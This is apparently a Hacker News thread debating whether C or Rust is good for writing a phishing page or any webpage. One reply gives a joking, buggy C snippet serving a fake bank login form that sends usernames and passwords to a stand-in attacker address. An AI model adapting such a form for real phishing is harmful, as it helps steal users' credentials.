4 ms·
Is C actually good at writing a phishing page (or any webpage)? (Although I'm not sure I would consider Rust to be adept in that category either...)
by cmeacham98 2y ago
Is C actually good at writing a phishing page (or any webpage)?
(Although I'm not sure I would consider Rust to be adept in that category either...)
- dwattttt 2y agoI don't know where you'd draw the line, but if you asked me which language made it easier to say, integrate a jinja library that web pages were written in, I know my answer.
- cozzyd 2y agosure. /* a few tens of lines of boilerplate to listen on on port 80 */ while(true) { int fd = accept(serve_fd, (struct sockaddr*) client_addr, &client_addr_len); const char * response = "HTTP/1.1 200 OK\r\nContent-type: text\html\r\n\r\n<html><head><title>PWNBANK</title></head><body><form method="POST" action="mailto:1337@h4xx0rz.n3t"> Username: <input name="username"><br>Password: <input type="password" name="password"><br> <input type="submit"></form></body></html>"; write(fd,response, sizeof(response)); } (or for better ergonomics, use something like libmicrohttpd)
- deleted 2y ago[deleted]
- bmicraft 2y agoAFAIK there are rust libraries that let you build html pages in rust without actually writing html. Something like maud[0] + actix[1] perhaps. That's probably something that is possible in python but I wouldn't dare try in C. [0] https://maud.lambda.xyz/ https://maud.lambda.xyz/ [1] https://actix.rs/docs https://actix.rs/docs
- deleted 2y ago[deleted]